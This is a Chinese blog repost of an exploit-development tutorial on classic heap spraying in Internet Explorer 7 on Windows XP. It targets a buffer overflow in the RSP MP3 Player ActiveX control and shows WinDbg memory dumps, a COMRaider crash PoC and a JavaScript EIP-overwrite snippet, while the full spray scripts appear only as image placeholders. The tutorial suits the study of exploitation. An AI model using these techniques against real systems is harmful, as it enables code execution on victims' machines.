c语言实现exploit,【技术分享】Windows Exploit开发系列教程——堆喷射（一）

最新推荐文章于 2021-05-19 18:52:52 发布

星光居士

最新推荐文章于 2021-05-19 18:52:52 发布

阅读量579

点赞数

文章标签： c语言实现exploit

85586

前言

欢迎来到堆喷射教程的第一部分。这部分我会介绍IE下典型的堆喷射技术，第二部分会介绍精确喷射和IE8下的UAF漏洞。值得一提的是，堆喷射仅仅是一种payload传递技术，它不能绕过任何漏洞缓解技术。大多时候对浏览器的漏洞(或者flash,pdf,office)利用会使用这项技术。缓冲区溢出往往依赖这样的事实：们能够在栈(堆)上分配内存并写入shellcode。但是像浏览器或ActiveX的漏洞利用你可分配内存更稳定，不担心坏字符。

浏览器的漏洞利用我比较纠结用immunity还是Windbg调试器。Immunity是一个可视化的调试器，使用起来更舒适和方便。但是Windbg更快，更稳定。它有些特性很实用(最明显的是实用javascript断点)。我把选择权留给你。Windbg的优势在堆喷射教程的第二部分会更明显。值得一提的是，用Windbg之前需要先设置符号表。

好的。现在就开始我们的漏洞之旅吧！

我将用"RSP MP3 Player"介绍这项技术。之前的一个漏洞利用程序在这里。当你分析浏览器的漏洞，常常需要用到不同的版本。安装IE-Collection即可。更新你系统的浏览器到最新版本然后安装IE-Collection。

调试机器：Windows XP SP3 & IE7

漏洞软件：

介绍

首先我想给满分 corelanc0d3r所做的工作。“堆喷射揭秘”是非常好并且很有深度的教程，解释了堆喷射用于payload传递的细节。我很抱歉使用了 corelanc0d3r 之前做的一些工作，但我有我的目的：用一个实际的漏洞来解释堆喷射。

我们知道程序栈可利用的空间是有限的。堆管理器可以动态的分配很大一块内存，例如程序需要存储临时定义的数据堆十分复杂，我不会解释所有的细节。但我会给你足够的信息帮助你了解它。

关于堆分配器有几件事我们需要知道：

(1)由于内存动态分配和释放，会产生堆碎片；

(2)堆内存块释放。会由前端或后端分配器回收(依赖操作系统). 分配器类似于缓存服务那样优化内存块分配。像之前提到堆分配和释放产生堆碎片(=bad)，为了较少堆碎片，新分配一块内存时，堆分配器会直接返回之前释放的一块同样大小的内存。从而减少了新分配的次数(=good)；

(3)虽然堆内存是动态分配，但是分配器往往会连续的分配内存块 (为了减少堆碎片)这意味着从攻击者的角度来看堆是确定的。连续的分配内存我们就可以在某个可预测的地址上布置我们的数据。

“堆喷射”概念第一次由SkyLined在2004年提出。当时被用于IE浏览器iframe 缓冲区溢出漏洞利用。这个通用的技术已经被用于大多数浏览器： IE7, firefox 3.6.24, Opera 11.60。精确堆喷射将在第二部分介绍，考虑一下这种情况，如果一个漏洞(可以控制EIP, UAF, 等等)允许写任意4字节。我们可以在堆上分配一系列内存块(包含shellcode)，然后利用漏洞实现4字节改写EIP，就可以跳去执行堆上的代码。 Javascript可以直接在堆上分配字符串，通过巧妙的布置堆我们可以exploit任何的浏览器。现在主要问题是如何实现稳定的堆分配。下图应该能给你一些启发：

85586

这足以提起你的兴趣。首先我们了解堆分配的过程, 接下来我们用它实现ActiveX的漏洞利用。

喷射shellcode块

之前提到，堆喷射是一种payload传递技术，它充分利用了javascript的特性。先让我们在堆上分配一些简单字符串。

85586

下图可以看到我们成功在堆上分配ASCII字符串。记得用unescape否则我们的字符串将会是UNICODE。

85586

目前为止还不错, 但记住我们的目标是在堆上连续的分配NOP+Shellcode块. 稍微改变一下JS脚本如下：

85586

本质上来讲我们正在创建一个1000字节payload块，重复51次。下面是块的结构：

"x90"*(1000-len(shellcode)) + shellcode

是时候用Windbg观察分配的情况了。下面是51个ASCII字符串分配结果。如果跟踪字符串的分配你会注意到开始的时候分配存在空隙，但是到后面的话基本上就是连续的。

0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"

02a4b03e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

02a4b846 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

[...Snip...]

0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

0312f0fe 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot

of junk bytes between blocks:

0:013> d 02a4c04e

02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

02a4c05e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

02a4c06e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

02a4c07e 00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01 ..........Y.H...

02a4c08e 28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90 (...............

02a4c09e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

02a4c0ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

02a4c0be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

However if we start from the last block and look back in steps of 1000-bytes we

can see the allocations look pretty good!

0:013> d 03130106-20

031300e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

031300f6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03130116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

03130126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

03130136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

03130146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

03130156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:013> d 03130106-20-1000

0312f0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312f0f6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec

0312f106 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........

0312f116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312f126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312f136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312f146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312f156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:013> d 03130106-20-2000

0312e0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

0312e106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312e116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312e126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312e136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312e146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312e156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:013> d 03130106-20-3000

0312d0e6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec

0312d0f6 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........

0312d106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312d116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312d126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312d136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312d146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0312d156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

很好，不可否认的是我们很幸运得到连续的分配。接下来需要做什么呢。

(1) 分配更多的数据填充更多的堆空间(覆写更高的内存地址)；

(2) 改变块大小以适应BSTR对象，是分配更稳定和连续。

下面是最终的堆喷射脚本(公开的漏洞利用脚本，在所有IE7以下的版本测试结果一致。

85586

这个脚本喷射更大的内存块 0x4000(=262144字节=0.25mb)，重复喷喷射500次(=125mb)。考虑到我们的shellcode不太会大于1000字节，这意味着我们有99.997%的概率命中NOP’s。这样使得堆喷射更稳定。让我们在Windbg观察堆喷射：

0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"

02a34010 46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20 FuzzySecurity..

030ca75c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03b4ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03c6ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03cfffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03d8ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03e1ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03eaffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

03f3ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

[...Snip...]

1521ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

152affee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

1533ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

153cffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

1545ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

154effee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

1557ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...

!peb看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆)。

另外你可以执行"!heap -stat" 看看已经提交的字节数

0:014> !peb

PEB at 7ffd8000

InheritedAddressSpace: No

ReadImageFileExecOptions: No

BeingDebugged: Yes

ImageBaseAddress: 00400000

Ldr 00251e90

Ldr.Initialized: Yes

Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8

Ldr.InLoadOrderModuleList: 00251ec0 . 00255918

Ldr.InMemoryOrderModuleList: 00251ec8 . 00255920

Base TimeStamp Module

400000 46c108d9 Aug 14 09:43:53 2007 C:Program FilesUtilu IE CollectionIE700iexplore.exe

7c900000 4d00f29d Dec 09 23:15:41 2010 C:WINDOWSsystem32ntdll.dll

7c800000 49c4f2bb Mar 21 21:59:23 2009 C:WINDOWSsystem32kernel32.dll

77dd0000 49900be3 Feb 09 18:56:35 2009 C:WINDOWSsystem32ADVAPI32.dll

77e70000 4c68fa30 Aug 16 16:43:28 2010 C:WINDOWSsystem32RPCRT4.dll

[...Snip...]

767f0000 4c2b375b Jun 30 20:23:55 2010 C:WINDOWSsystem32schannel.dll

77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:WINDOWSsystem32msv1_0.dll

76790000 4802a0d9 Apr 14 08:10:01 2008 C:WINDOWSsystem32cryptdll.dll

76d60000 4802a0d0 Apr 14 08:09:52 2008 C:WINDOWSsystem32iphlpapi.dll

SubSystemData: 00000000

ProcessHeap: 00150000

ProcessParameters: 00020000

CurrentDirectory: 'C:Documents and SettingsAdministratorDesktop'

WindowTitle: 'C:Program FilesUtilu IE CollectionIE700iexplore.exe'

ImageFile: 'C:Program FilesUtilu IE CollectionIE700iexplore.exe'

CommandLine: 'about:home'

[...Snip...]

让我们打印堆分配数据，我们可以看到98.63% 堆块正在使用：

0:014> !heap -stat -h 00150000

heap @ 00150000

group-by: TOTSIZE max-display: 20

size #blocks total ( %) (percent of total busy bytes)

7ffe0 1f4 - f9fc180 (98.63)

3fff8 3 - bffe8 (0.30)

1fff8 4 - 7ffe0 (0.20)

7ffd0 1 - 7ffd0 (0.20)

7ff8 b - 57fa8 (0.14)

fff8 5 - 4ffd8 (0.12)

1ff8 21 - 41ef8 (0.10)

3ff8 d - 33f98 (0.08)

ff8 f - ef88 (0.02)

7f8 18 - bf40 (0.02)

8fc1 1 - 8fc1 (0.01)

7fe0 1 - 7fe0 (0.01)

7fd0 1 - 7fd0 (0.01)

7db4 1 - 7db4 (0.01)

614 14 - 7990 (0.01)

57e0 1 - 57e0 (0.01)

20 208 - 4100 (0.01)

5e4 b - 40cc (0.01)

4e4 c - 3ab0 (0.01)

3980 1 - 3980 (0.01)

我们列出大小为0x7ffe0的块

0:014> !heap -flt s 7ffe0

_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

03ad0018 fffc 0000 [0b] 03ad0020 7ffe0 - (busy VirtualAlloc)

03bf0018 fffc fffc [0b] 03bf0020 7ffe0 - (busy VirtualAlloc)

03c80018 fffc fffc [0b] 03c80020 7ffe0 - (busy VirtualAlloc)

03d10018 fffc fffc [0b] 03d10020 7ffe0 - (busy VirtualAlloc)

03da0018 fffc fffc [0b] 03da0020 7ffe0 - (busy VirtualAlloc)

03e30018 fffc fffc [0b] 03e30020 7ffe0 - (busy VirtualAlloc)

03ec0018 fffc fffc [0b] 03ec0020 7ffe0 - (busy VirtualAlloc)

03f50018 fffc fffc [0b] 03f50020 7ffe0 - (busy VirtualAlloc)

[...Snip...]

15110018 fffc fffc [0b] 15110020 7ffe0 - (busy VirtualAlloc)

151a0018 fffc fffc [0b] 151a0020 7ffe0 - (busy VirtualAlloc)

15230018 fffc fffc [0b] 15230020 7ffe0 - (busy VirtualAlloc)

152c0018 fffc fffc [0b] 152c0020 7ffe0 - (busy VirtualAlloc)

15350018 fffc fffc [0b] 15350020 7ffe0 - (busy VirtualAlloc)

153e0018 fffc fffc [0b] 153e0020 7ffe0 - (busy VirtualAlloc)

15470018 fffc fffc [0b] 15470020 7ffe0 - (busy VirtualAlloc)

15500018 fffc fffc [0b] 15500020 7ffe0 - (busy VirtualAlloc)

现在你可能会问告诉你自己：”这很酷, 但是有什么意义呢?”。一般上如果我们有写任意4字节漏洞。为了可靠，我们从来不会用shellcode地址直接覆写指针(例如EIP)。在堆喷射中我们可以决定堆布局。我们可以在堆中布置NOP’s+shellcode块。由于某个可预测的地址会指向NOP’s，所以我们可以用这个地址去覆写，一旦程序能执行到NOP’s，shellcode也会得到执行。下面是通常我们使用的可预测地址，在调试器看看这些地址的内容。可预测的地址：

- 0x05050505

- 0x06060606

- 0x07070707

- ....

另外一个具有特殊意义的地址是0x0c0c0c0c，第二部分将会解释。

85586

0:014> d 04040404

04040404 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040414 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040424 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040434 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040444 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040454 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040464 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

04040474 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:014> d 05050505

05050505 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050515 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050525 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050535 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050545 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050555 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050565 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

05050575 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

0:014> d 06060606

06060606 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060616 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060636 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060646 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060656 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060666 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

06060676 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

再次重申第一部分只讲典型的堆喷射，精确喷射会在第二部分将。为什么需要精确喷射？

(1) 我们需要处理DEP；

(2) 我们正在利用UAF类漏洞；

所有的准备工作完成，是时候弹shell了。

崩溃重现

下载RSP MP3 Player 并安装。转到rspmp3ocx320sw.ocx文件所在文件夹，执行

regsvr32 rspmp3ocx320sw.ocx

注册ocx控件，你能看到一个弹框说文件已经成功注册。接着下载COMRaider。COMRaider是一个很好用的ActiveX Fuzzer工具。用这个工具可以轻易得到POC。看看原始的exploit可以知道崩溃出现在OpenFile函数。如果我们只Fuzzing这个函数会得到14个异常例子。我没有花时间测试所有的文件，但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃！

85586

COMRaider

85586

OpenFile

85586

Poor Programming

如果我们看下面这个造成崩溃的文件，可以看到它非常简单，类似于exploit-db那个。

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog

targetFile = "C:Documents and SettingsAdministratorDesktopRSP MP3 Playerrspmp3ocx320sw.ocx"

prototype = "Function OpenFile ( ByVal Inputfile As String )"

memberName = "OpenFile"

progid = "RSPMP3_320.RSPMP3"

argCount = 1

arg1=String(1044, "A")

target.OpenFile arg1

我花费了一点时间把它从vb转为js. 我们可以控制EIP或SEH，但这不是我们关心的。我们想要从堆喷射中选一个可预测的指针覆写EIP。

pointer='';

for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");

Oops.OpenFile(pointer);

调试结果如下：

eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000

eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0 nv up ei pl nz ac pe cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217

rspmp3ocx1+0x2fb7:

03ed2fb7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

0:014> g

(87c.f6c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000

eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

06060606 ?? ???

0:014> d 06060606

06060606 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060616 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060626 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060636 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060646 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060656 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060666 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

06060676 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

可以看到EIP被覆盖为0x06060606。(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在0x06060606。

Shellcode+游戏结束

我们首先生成一些可用的shellcode，记得将shellcode编码为javascript小端字节序。

85586

好的，整理下最后的POC。增加一些注释和前面创建的堆喷射。最终的堆喷射脚本如下：

85586

星光居士

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
c语言实现exploit,【技术分享】Windows Exploit开发系列教程——堆喷射（一）

前言欢迎来到堆喷射教程的第一部分。这部分我会介绍IE下典型的堆喷射技术，第二部分会介绍精确喷射和IE8下的UAF漏洞。值得一提的是，堆喷射仅仅是一种payload传递技术，它不能绕过任何漏洞缓解技术。大多时候对浏览器的漏洞(或者flash,pdf,office)利用会使用这项技术。缓冲区溢出往往依赖这样的事实：们能够在栈(堆)上分配内存并写入shellcode。但是像浏览器或ActiveX的漏...
复制链接

扫一扫

c语言实现exploit,【技术分享】Windows Exploit开发系列教程——堆喷射（一）

“相关推荐”对你有帮助么？